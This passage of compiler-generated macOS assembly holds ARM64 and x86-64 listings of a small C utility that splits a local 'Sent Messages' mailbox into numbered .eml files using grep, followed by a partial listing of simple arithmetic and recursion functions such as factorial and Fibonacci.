8-byte Folded Reload add x0, sp, #264 adrp x1, l_.str.16@PAGE add x1, x1, l_.str.16@PAGEOFF bl ___strcpy_chk adrp x0, l_.str.17@PAGE add x0, x0, l_.str.17@PAGEOFF bl _printf ldr x0, [sp, #64] ; 8-byte Folded Reload adrp x1, l_.str.9@PAGE add x1, x1, l_.str.9@PAGEOFF bl _fopen str x0, [sp, #88] ldr x8, [sp, #88] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_2 b LBB3_1 LBB3_1: bl ___error ldr w0, [x0] bl _strerror mov x8, sp add x9, sp, #776 str x9, [x8] str x0, [x8, #8] adrp x0, l_.str.11@PAGE add x0, x0, l_.str.11@PAGEOFF bl _printf ldr x0, [sp, #88] bl _fclose mov w8, #-1 str w8, [sp, #132] b LBB3_39 LBB3_2: ldr x2, [sp, #88] add x0, sp, #136 mov w1, #128 bl _fgets str wzr, [sp, #100] add x0, sp, #264 adrp x1, l_.str.9@PAGE add x1, x1, l_.str.9@PAGEOFF bl _fopen str x0, [sp, #80] ldr x8, [sp, #80] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_4 b LBB3_3 LBB3_3: bl ___error ldr w0, [x0] bl _strerror mov x8, sp add x9, sp, #264 str x9, [x8] str x0, [x8, #8] adrp x0, l_.str.18@PAGE add x0, x0, l_.str.18@PAGEOFF bl _printf ldr x0, [sp, #88] bl _fclose mov w8, #-2 str w8, [sp, #132] b LBB3_39 LBB3_4: mov w8, #1 str w8, [sp, #108] b LBB3_5 LBB3_5: ; =>This Loop Header: Depth=1 ; Child Loop BB3_14 Depth 2 ldr x2, [sp, #88] add x0, sp, #136 mov w1, #128 bl _fgets subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB3_26 b LBB3_6 LBB3_6: ; in Loop: Header=BB3_5 Depth=1 ldr x0, [sp, #88] bl _ferror subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB3_8 b LBB3_7 LBB3_7: ; in Loop: Header=BB3_5 Depth=1 adrp x0, l_.str.13@PAGE add x0, x0, l_.str.13@PAGEOFF bl _puts b LBB3_11 LBB3_8: ; in Loop: Header=BB3_5 Depth=1 ldr x0, [sp, #88] bl _feof subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB3_10 b LBB3_9 LBB3_9: b LBB3_26 LBB3_10: ; in Loop: Header=BB3_5 Depth=1 b LBB3_11 LBB3_11: ; in Loop: Header=BB3_5 Depth=1 add x0, sp, #136 str x0, [sp, #40] ; 8-byte Folded Spill mov w1, #10 bl _strchr mov x8, x0 ldr x0, [sp, #40] ; 8-byte Folded Reload str x8, [sp, #120] ldr x8, [sp, #120] strb wzr, [x8] bl _atol mov x8, x0 str w8, [sp, #104] ldr w9, [sp, #108] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x8, l_.str.20@PAGE add x8, x8, l_.str.20@PAGEOFF str x8, [x9, #8] add x0, sp, #520 str x0, [sp, #48] ; 8-byte Folded Spill mov w1, #0 mov x2, #256 adrp x3, l_.str.19@PAGE add x3, x3, l_.str.19@PAGEOFF bl ___sprintf_chk ldr x0, [sp, #48] ; 8-byte Folded Reload adrp x1, l_.str.10@PAGE add x1, x1, l_.str.10@PAGEOFF bl _fopen str x0, [sp, #72] ldr x8, [sp, #72] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_13 b LBB3_12 LBB3_12: bl ___error ldr w0, [x0] bl _strerror mov x8, sp add x9, sp, #520 str x9, [x8] str x0, [x8, #8] adrp x0, l_.str.12@PAGE add x0, x0, l_.str.12@PAGEOFF bl _printf ldr x0, [sp, #88] bl _fclose ldr x0, [sp, #80] bl _fclose mov w8, #-3 str w8, [sp, #132] b LBB3_39 LBB3_13: ; in Loop: Header=BB3_5 Depth=1 b LBB3_14 LBB3_14: ; Parent Loop BB3_5 Depth=1 ; => This Inner Loop Header: Depth=2 ldr x0, [sp, #80] bl _fgetc str w0, [sp, #116] adds w8, w0, #1 cset w8, eq tbnz w8, #0, LBB3_25 b LBB3_15 LBB3_15: ; in Loop: Header=BB3_14 Depth=2 ldr x0, [sp, #80] bl _ferror subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB3_17 b LBB3_16 LBB3_16: ; in Loop: Header=BB3_14 Depth=2 adrp x0, l_.str.13@PAGE add x0, x0, l_.str.13@PAGEOFF bl _puts b LBB3_20 LBB3_17: ; in Loop: Header=BB3_14 Depth=2 ldr x0, [sp, #80] bl _feof subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB3_19 b LBB3_18 LBB3_18: ; in Loop: Header=BB3_5 Depth=1 b LBB3_25 LBB3_19: ; in Loop: Header=BB3_14 Depth=2 b LBB3_20 LBB3_20: ; in Loop: Header=BB3_14 Depth=2 ldr w8, [sp, #116] subs w8, w8, #13 cset w8, eq tbnz w8, #0, LBB3_22 b LBB3_21 LBB3_21: ; in Loop: Header=BB3_14 Depth=2 ldr w0, [sp, #116] ldr x1, [sp, #72] bl _fputc b LBB3_22 LBB3_22: ; in Loop: Header=BB3_14 Depth=2 ldr w8, [sp, #100] add w8, w8, #1 str w8, [sp, #100] ldr w9, [sp, #104] subs w9, w9, #1 subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB3_24 b LBB3_23 LBB3_23: ; in Loop: Header=BB3_5 Depth=1 b LBB3_25 LBB3_24: ; in Loop: Header=BB3_14 Depth=2 b LBB3_14 LBB3_25: ; in Loop: Header=BB3_5 Depth=1 ldr x0, [sp, #72] bl _fflush ldr x0, [sp, #72] bl _fclose ldr w8, [sp, #108] add w8, w8, #1 str w8, [sp, #108] b LBB3_5 LBB3_26: ldr w9, [sp, #108] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x8, l_.str.20@PAGE add x8, x8, l_.str.20@PAGEOFF str x8, [x9, #8] add x0, sp, #520 str x0, [sp, #32] ; 8-byte Folded Spill mov w1, #0 mov x2, #256 adrp x3, l_.str.19@PAGE add x3, x3, l_.str.19@PAGEOFF bl ___sprintf_chk ldr x0, [sp, #32] ; 8-byte Folded Reload adrp x1, l_.str.10@PAGE add x1, x1, l_.str.10@PAGEOFF bl _fopen str x0, [sp, #72] ldr x8, [sp, #72] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_28 b LBB3_27 LBB3_27: bl ___error ldr w0, [x0] bl _strerror mov x8, sp add x9, sp, #520 str x9, [x8] str x0, [x8, #8] adrp x0, l_.str.12@PAGE add x0, x0, l_.str.12@PAGEOFF bl _printf ldr x0, [sp, #88] bl _fclose ldr x0, [sp, #80] bl _fclose mov w8, #-4 str w8, [sp, #132] b LBB3_39 LBB3_28: b LBB3_29 LBB3_29: ; =>This Inner Loop Header: Depth=1 ldr x0, [sp, #80] bl _fgetc str w0, [sp, #116] adds w8, w0, #1 cset w8, eq tbnz w8, #0, LBB3_38 b LBB3_30 LBB3_30: ; in Loop: Header=BB3_29 Depth=1 ldr x0, [sp, #80] bl _ferror subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB3_32 b LBB3_31 LBB3_31: ; in Loop: Header=BB3_29 Depth=1 adrp x0, l_.str.13@PAGE add x0, x0, l_.str.13@PAGEOFF bl _puts b LBB3_35 LBB3_32: ; in Loop: Header=BB3_29 Depth=1 ldr x0, [sp, #80] bl _feof subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB3_34 b LBB3_33 LBB3_33: b LBB3_38 LBB3_34: ; in Loop: Header=BB3_29 Depth=1 b LBB3_35 LBB3_35: ; in Loop: Header=BB3_29 Depth=1 ldr w8, [sp, #116] subs w8, w8, #13 cset w8, eq tbnz w8, #0, LBB3_37 b LBB3_36 LBB3_36: ; in Loop: Header=BB3_29 Depth=1 ldr w0, [sp, #116] ldr x1, [sp, #72] bl _fputc b LBB3_37 LBB3_37: ; in Loop: Header=BB3_29 Depth=1 b LBB3_29 LBB3_38: ldr x0, [sp, #72] bl _fflush ldr x0, [sp, #72] bl _fclose ldr x0, [sp, #80] bl _fclose ldr x0, [sp, #88] bl _fclose ldr w9, [sp, #108] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.21@PAGE add x0, x0, l_.str.21@PAGEOFF bl _printf str wzr, [sp, #132] b LBB3_39 LBB3_39: ldr w8, [sp, #132] str w8, [sp, #28] ; 4-byte Folded Spill ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB3_41 b LBB3_40 LBB3_40: bl ___stack_chk_fail LBB3_41: ldr w0, [sp, #28] ; 4-byte Folded Reload add sp, sp, #1040 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "\nProgram begin.\n\n" l_.str.1: ; @.str.1 .asciz "Done.\n\n" l_.str.2: ; @.str.2 .asciz "%s%s.sent" l_.str.3: ; @.str.3 .asciz "grep -b \"From -\" \"Sent Messages\" > " l_.str.4: ; @.str.4 .asciz "/tmp/stage2" l_.str.5: ; @.str.5 .asciz "\nExecuting \"%s\"\n" l_.str.6: ; @.str.6 .asciz "%s.sent" l_.str.7: ; @.str.7 .asciz "/tmp/stage3" l_.str.8: ; @.str.8 .asciz "\nFiltering \"%s\" into \"%s\"\n\n" l_.str.9: ; @.str.9 .asciz "r" l_.str.10: ; @.str.10 .asciz "w" l_.str.11: ; @.str.11 .asciz "\nFile \"%s\" open for read, error: %s\n\n" l_.str.12: ; @.str.12 .asciz "\nFile \"%s\" open for write, error: %s\n\n" l_.str.13: ; @.str.13 .asciz "I/O error when reading" l_.str.14: ; @.str.14 .asciz "%s\n" l_.str.15: ; @.str.15 .asciz "Lines processed: %u\n\n" l_.str.16: ; @.str.16 .asciz "Sent Messages" l_.str.17: ; @.str.17 .asciz "\nBegin email files extraction\n\n" l_.str.18: ; @.str.18 .asciz "\nFile %s open for read, error: %s\n\n" l_.str.19: ; @.str.19 .asciz "sentmsg%d%s" l_.str.20: ; @.str.20 .asciz ".eml" l_.str.21: ; @.str.21 .asciz "\nCreated %d email files\n\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _printf callq _create_grep_out callq _process_stage2 callq _gen_emails leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _create_grep_out ## -- Begin function create_grep_out .p2align 4, 0x90 _create_grep_out: ## @create_grep_out .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $288, %rsp ## imm = 0x120 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) leaq -272(%rbp), %rdi xorl %esi, %esi movl $256, %edx ## imm = 0x100 leaq L_.str.2(%rip), %rcx leaq L_.str.3(%rip), %r8 leaq L_.str.4(%rip), %r9 movb $0, %al callq ___sprintf_chk leaq -272(%rbp), %rsi leaq L_.str.5(%rip), %rdi movb $0, %al callq _printf leaq -272(%rbp), %rdi callq _system movl %eax, -276(%rbp) movl -276(%rbp), %eax movl %eax, -280(%rbp) ## 4-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB1_2 ## %bb.1: movl -280(%rbp), %eax ## 4-byte Reload addq $288, %rsp ## imm = 0x120 popq %rbp retq LBB1_2: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _process_stage2 ## -- Begin function process_stage2 .p2align 4, 0x90 _process_stage2: ## @process_stage2 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $720, %rsp ## imm = 0x2D0 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) leaq -272(%rbp), %rdi xorl %esi, %esi movl $256, %edx ## imm = 0x100 leaq L_.str.6(%rip), %rcx leaq L_.str.4(%rip), %r8 movb $0, %al callq ___sprintf_chk leaq -528(%rbp), %rdi xorl %esi, %esi movl $256, %edx ## imm = 0x100 leaq L_.str.6(%rip), %rcx leaq L_.str.7(%rip), %r8 movb $0, %al callq ___sprintf_chk leaq -272(%rbp), %rsi leaq -528(%rbp), %rdx leaq L_.str.8(%rip), %rdi movb $0, %al callq _printf leaq -272(%rbp), %rdi leaq L_.str.9(%rip), %rsi callq _fopen movq %rax, -688(%rbp) leaq -528(%rbp), %rdi leaq L_.str.10(%rip), %rsi callq _fopen movq %rax, -696(%rbp) cmpq $0, -688(%rbp) jne LBB2_2 ## %bb.1: leaq -272(%rbp), %rax movq %rax, -704(%rbp) ## 8-byte Spill callq ___error movl (%rax), %edi callq _strerror movq -704(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx leaq L_.str.11(%rip), %rdi movb $0, %al callq _printf movl $-1, -660(%rbp) jmp LBB2_13 LBB2_2: cmpq $0, -696(%rbp) jne LBB2_4 ## %bb.3: leaq -528(%rbp), %rax movq %rax, -712(%rbp) ## 8-byte Spill callq ___error movl (%rax), %edi callq _strerror movq -712(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx leaq L_.str.12(%rip), %rdi movb $0, %al callq _printf movl $-1, -660(%rbp) jmp LBB2_13 LBB2_4: movl $0, -680(%rbp) LBB2_5: ## =>This Inner Loop Header: Depth=1 leaq -656(%rbp), %rdi movq -688(%rbp), %rdx movl $128, %esi callq _fgets cmpq $0, %rax je LBB2_12 ## %bb.6: ## in Loop: Header=BB2_5 Depth=1 movq -688(%rbp), %rdi callq _ferror cmpl $0, %eax je LBB2_8 ## %bb.7: ## in Loop: Header=BB2_5 Depth=1 leaq L_.str.13(%rip), %rdi callq _puts jmp LBB2_11 LBB2_8: ## in Loop: Header=BB2_5 Depth=1 movq -688(%rbp), %rdi callq _feof cmpl $0, %eax je LBB2_10 ## %bb.9: jmp LBB2_12 LBB2_10: ## in Loop: Header=BB2_5 Depth=1 jmp LBB2_11 LBB2_11: ## in Loop: Header=BB2_5 Depth=1 leaq -656(%rbp), %rdi movl $58, %esi callq _strchr movq %rax, -672(%rbp) movq -672(%rbp), %rax movb $0, (%rax) movq -696(%rbp), %rdi leaq -656(%rbp), %rdx leaq L_.str.14(%rip), %rsi movb $0, %al callq _fprintf movl -680(%rbp), %eax addl $1, %eax movl %eax, -680(%rbp) jmp LBB2_5 LBB2_12: movq -688(%rbp), %rdi callq _fclose movq -696(%rbp), %rdi callq _fflush movq -696(%rbp), %rdi callq _fclose movl -680(%rbp), %esi leaq L_.str.15(%rip), %rdi movb $0, %al callq _printf movl $0, -660(%rbp) LBB2_13: movl -660(%rbp), %eax movl %eax, -716(%rbp) ## 4-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB2_15 ## %bb.14: movl -716(%rbp), %eax ## 4-byte Reload addq $720, %rsp ## imm = 0x2D0 popq %rbp retq LBB2_15: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _gen_emails ## -- Begin function gen_emails .p2align 4, 0x90 _gen_emails: ## @gen_emails .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $1024, %rsp ## imm = 0x400 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) leaq -272(%rbp), %rdi xorl %esi, %esi movl $256, %edx ## imm = 0x100 leaq L_.str.6(%rip), %rcx leaq L_.str.7(%rip), %r8 movb $0, %al callq ___sprintf_chk leaq -784(%rbp), %rdi leaq L_.str.16(%rip), %rsi movl $256, %edx ## imm = 0x100 callq ___strcpy_chk leaq L_.str.17(%rip), %rdi movb $0, %al callq _printf leaq -272(%rbp), %rdi leaq L_.str.9(%rip), %rsi callq _fopen movq %rax, -960(%rbp) cmpq $0, -960(%rbp) jne LBB3_2 ## %bb.1: leaq -272(%rbp), %rax movq %rax, -984(%rbp) ## 8-byte Spill callq ___error movl (%rax), %edi callq _strerror movq -984(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx leaq L_.str.11(%rip), %rdi movb $0, %al callq _printf movq -960(%rbp), %rdi callq _fclose movl $-1, -916(%rbp) jmp LBB3_39 LBB3_2: leaq -912(%rbp), %rdi movq -960(%rbp), %rdx movl $128, %esi callq _fgets movl $0, -948(%rbp) leaq -784(%rbp), %rdi leaq L_.str.9(%rip), %rsi callq _fopen movq %rax, -968(%rbp) cmpq $0, -968(%rbp) jne LBB3_4 ## %bb.3: leaq -784(%rbp), %rax movq %rax, -992(%rbp) ## 8-byte Spill callq ___error movl (%rax), %edi callq _strerror movq -992(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx leaq L_.str.18(%rip), %rdi movb $0, %al callq _printf movq -960(%rbp), %rdi callq _fclose movl $-2, -916(%rbp) jmp LBB3_39 LBB3_4: movl $1, -940(%rbp) LBB3_5: ## =>This Loop Header: Depth=1 ## Child Loop BB3_14 Depth 2 leaq -912(%rbp), %rdi movq -960(%rbp), %rdx movl $128, %esi callq _fgets cmpq $0, %rax je LBB3_26 ## %bb.6: ## in Loop: Header=BB3_5 Depth=1 movq -960(%rbp), %rdi callq _ferror cmpl $0, %eax je LBB3_8 ## %bb.7: ## in Loop: Header=BB3_5 Depth=1 leaq L_.str.13(%rip), %rdi callq _puts jmp LBB3_11 LBB3_8: ## in Loop: Header=BB3_5 Depth=1 movq -960(%rbp), %rdi callq _feof cmpl $0, %eax je LBB3_10 ## %bb.9: jmp LBB3_26 LBB3_10: ## in Loop: Header=BB3_5 Depth=1 jmp LBB3_11 LBB3_11: ## in Loop: Header=BB3_5 Depth=1 leaq -912(%rbp), %rdi movl $10, %esi callq _strchr movq %rax, -928(%rbp) movq -928(%rbp), %rax movb $0, (%rax) leaq -912(%rbp), %rdi callq _atol ## kill: def $eax killed $eax killed $rax movl %eax, -944(%rbp) leaq -528(%rbp), %rdi movl -940(%rbp), %r8d xorl %esi, %esi movl $256, %edx ## imm = 0x100 leaq L_.str.19(%rip), %rcx leaq L_.str.20(%rip), %r9 movb $0, %al callq ___sprintf_chk leaq -528(%rbp), %rdi leaq L_.str.10(%rip), %rsi callq _fopen movq %rax, -976(%rbp) cmpq $0, -976(%rbp) jne LBB3_13 ## %bb.12: leaq -528(%rbp), %rax movq %rax, -1000(%rbp) ## 8-byte Spill callq ___error movl (%rax), %edi callq _strerror movq -1000(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx leaq L_.str.12(%rip), %rdi movb $0, %al callq _printf movq -960(%rbp), %rdi callq _fclose movq -968(%rbp), %rdi callq _fclose movl $-3, -916(%rbp) jmp LBB3_39 LBB3_13: ## in Loop: Header=BB3_5 Depth=1 jmp LBB3_14 LBB3_14: ## Parent Loop BB3_5 Depth=1 ## => This Inner Loop Header: Depth=2 movq -968(%rbp), %rdi callq _fgetc movl %eax, -932(%rbp) cmpl $-1, %eax je LBB3_25 ## %bb.15: ## in Loop: Header=BB3_14 Depth=2 movq -968(%rbp), %rdi callq _ferror cmpl $0, %eax je LBB3_17 ## %bb.16: ## in Loop: Header=BB3_14 Depth=2 leaq L_.str.13(%rip), %rdi callq _puts jmp LBB3_20 LBB3_17: ## in Loop: Header=BB3_14 Depth=2 movq -968(%rbp), %rdi callq _feof cmpl $0, %eax je LBB3_19 ## %bb.18: ## in Loop: Header=BB3_5 Depth=1 jmp LBB3_25 LBB3_19: ## in Loop: Header=BB3_14 Depth=2 jmp LBB3_20 LBB3_20: ## in Loop: Header=BB3_14 Depth=2 cmpl $13, -932(%rbp) je LBB3_22 ## %bb.21: ## in Loop: Header=BB3_14 Depth=2 movl -932(%rbp), %edi movq -976(%rbp), %rsi callq _fputc LBB3_22: ## in Loop: Header=BB3_14 Depth=2 movl -948(%rbp), %eax addl $1, %eax movl %eax, -948(%rbp) movl -944(%rbp), %ecx subl $1, %ecx cmpl %ecx, %eax jne LBB3_24 ## %bb.23: ## in Loop: Header=BB3_5 Depth=1 jmp LBB3_25 LBB3_24: ## in Loop: Header=BB3_14 Depth=2 jmp LBB3_14 LBB3_25: ## in Loop: Header=BB3_5 Depth=1 movq -976(%rbp), %rdi callq _fflush movq -976(%rbp), %rdi callq _fclose movl -940(%rbp), %eax addl $1, %eax movl %eax, -940(%rbp) jmp LBB3_5 LBB3_26: leaq -528(%rbp), %rdi movl -940(%rbp), %r8d xorl %esi, %esi movl $256, %edx ## imm = 0x100 leaq L_.str.19(%rip), %rcx leaq L_.str.20(%rip), %r9 movb $0, %al callq ___sprintf_chk leaq -528(%rbp), %rdi leaq L_.str.10(%rip), %rsi callq _fopen movq %rax, -976(%rbp) cmpq $0, -976(%rbp) jne LBB3_28 ## %bb.27: leaq -528(%rbp), %rax movq %rax, -1008(%rbp) ## 8-byte Spill callq ___error movl (%rax), %edi callq _strerror movq -1008(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx leaq L_.str.12(%rip), %rdi movb $0, %al callq _printf movq -960(%rbp), %rdi callq _fclose movq -968(%rbp), %rdi callq _fclose movl $-4, -916(%rbp) jmp LBB3_39 LBB3_28: jmp LBB3_29 LBB3_29: ## =>This Inner Loop Header: Depth=1 movq -968(%rbp), %rdi callq _fgetc movl %eax, -932(%rbp) cmpl $-1, %eax je LBB3_38 ## %bb.30: ## in Loop: Header=BB3_29 Depth=1 movq -968(%rbp), %rdi callq _ferror cmpl $0, %eax je LBB3_32 ## %bb.31: ## in Loop: Header=BB3_29 Depth=1 leaq L_.str.13(%rip), %rdi callq _puts jmp LBB3_35 LBB3_32: ## in Loop: Header=BB3_29 Depth=1 movq -968(%rbp), %rdi callq _feof cmpl $0, %eax je LBB3_34 ## %bb.33: jmp LBB3_38 LBB3_34: ## in Loop: Header=BB3_29 Depth=1 jmp LBB3_35 LBB3_35: ## in Loop: Header=BB3_29 Depth=1 cmpl $13, -932(%rbp) je LBB3_37 ## %bb.36: ## in Loop: Header=BB3_29 Depth=1 movl -932(%rbp), %edi movq -976(%rbp), %rsi callq _fputc LBB3_37: ## in Loop: Header=BB3_29 Depth=1 jmp LBB3_29 LBB3_38: movq -976(%rbp), %rdi callq _fflush movq -976(%rbp), %rdi callq _fclose movq -968(%rbp), %rdi callq _fclose movq -960(%rbp), %rdi callq _fclose movl -940(%rbp), %esi leaq L_.str.21(%rip), %rdi movb $0, %al callq _printf movl $0, -916(%rbp) LBB3_39: movl -916(%rbp), %eax movl %eax, -1012(%rbp) ## 4-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB3_41 ## %bb.40: movl -1012(%rbp), %eax ## 4-byte Reload addq $1024, %rsp ## imm = 0x400 popq %rbp retq LBB3_41: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "\nProgram begin.\n\n" L_.str.1: ## @.str.1 .asciz "Done.\n\n" L_.str.2: ## @.str.2 .asciz "%s%s.sent" L_.str.3: ## @.str.3 .asciz "grep -b \"From -\" \"Sent Messages\" > " L_.str.4: ## @.str.4 .asciz "/tmp/stage2" L_.str.5: ## @.str.5 .asciz "\nExecuting \"%s\"\n" L_.str.6: ## @.str.6 .asciz "%s.sent" L_.str.7: ## @.str.7 .asciz "/tmp/stage3" L_.str.8: ## @.str.8 .asciz "\nFiltering \"%s\" into \"%s\"\n\n" L_.str.9: ## @.str.9 .asciz "r" L_.str.10: ## @.str.10 .asciz "w" L_.str.11: ## @.str.11 .asciz "\nFile \"%s\" open for read, error: %s\n\n" L_.str.12: ## @.str.12 .asciz "\nFile \"%s\" open for write, error: %s\n\n" L_.str.13: ## @.str.13 .asciz "I/O error when reading" L_.str.14: ## @.str.14 .asciz "%s\n" L_.str.15: ## @.str.15 .asciz "Lines processed: %u\n\n" L_.str.16: ## @.str.16 .asciz "Sent Messages" L_.str.17: ## @.str.17 .asciz "\nBegin email files extraction\n\n" L_.str.18: ## @.str.18 .asciz "\nFile %s open for read, error: %s\n\n" L_.str.19: ## @.str.19 .asciz "sentmsg%d%s" L_.str.20: ## @.str.20 .asciz ".eml" L_.str.21: ## @.str.21 .asciz "\nCreated %d email files\n\n" .subsections_via_symbols
the_stack_data/9512846.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _add1 ; -- Begin function add1 .p2align 2 _add1: ; @add1 .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] ldr w8, [sp, #12] add w0, w8, #1 add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _sub1 ; -- Begin function sub1 .p2align 2 _sub1: ; @sub1 .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] ldr w8, [sp, #12] subs w0, w8, #1 add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _fact ; -- Begin function fact .p2align 2 _fact: ; @fact .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str w0, [sp, #8] ldr w8, [sp, #8] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB2_2 b LBB2_1 LBB2_1: mov w8, #1 stur w8, [x29, #-4] b LBB2_3 LBB2_2: ldr w8, [sp, #8] str w8, [sp, #4] ; 4-byte Folded Spill ldr w8, [sp, #8] subs w0, w8, #1 bl _fact ldr w8, [sp, #4] ; 4-byte Folded Reload mul w8, w8, w0 stur w8, [x29, #-4] b LBB2_3 LBB2_3: ldur w0, [x29, #-4] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _fib ; -- Begin function fib .p2align 2 _fib: ; @fib .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str w0, [sp, #8] ldr w8, [sp, #8] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB3_2 b LBB3_1 LBB3_1: stur wzr, [x29, #-4] b LBB3_5 LBB3_2: ldr w8, [sp, #8] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB3_4 b LBB3_3 LBB3_3: mov w8, #1 stur w8, [x29, #-4] b LBB3_5 LBB3_4: ldr w8, [sp, #8] subs w0, w8, #1 bl _fib str w0, [sp, #4] ; 4-byte Folded Spill ldr w8, [sp, #8] subs w0, w8, #2 bl _fib mov x8, x0 ldr w0, [sp, #4] ; 4-byte Folded Reload add w8, w0, w8 stur w8, [x29, #-4] b LBB3_5 LBB3_5: ldur w0, [x29, #-4] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _zerohuh ; -- Begin function zerohuh .p2align 2 _zerohuh: ; @zerohuh .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] ldr w8, [sp, #12] subs w8, w8, #0 cset w8, eq and w0, w8, #0x1 add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _mul2 ; -- Begin function mul2 .p2align 2 _mul2: ; @mul2 .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str x0, [sp, #8] ldr x9, [sp, #8] ldr w8, [x9] lsl w8, w8, #1 str w8, [x9] ldr x0, [sp, #8] add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _foo ; -- Begin function foo .p2align 2 _foo: ; @foo .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] mov x0, #24 str x0, [sp, #16] ; 8-byte Folded Spill bl _malloc mov x8, x0 ldr x0, [sp, #16] ; 8-byte Folded Reload stur x8, [x29, #-40] bl _malloc str x0, [sp, #48] mov x0, #5 mov x1, #4 bl _calloc str x0, [sp, #40] str wzr, [sp, #36] b LBB6_1 LBB6_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #36] subs w8, w8, #5 cset w8, ge tbnz w8, #0, LBB6_4 b LBB6_2 LBB6_2: ; in Loop: Header=BB6_1 Depth=1 ldr w8, [sp, #36] add w8, w8, #1 ldr x9, [sp, #40] ldrsw x10, [sp, #36] str w8, [x9, x10, lsl #2] b LBB6_3 LBB6_3: ; in Loop: Header=BB6_1 Depth=1 ldr w8, [sp, #36] add w8, w8, #1 str w8, 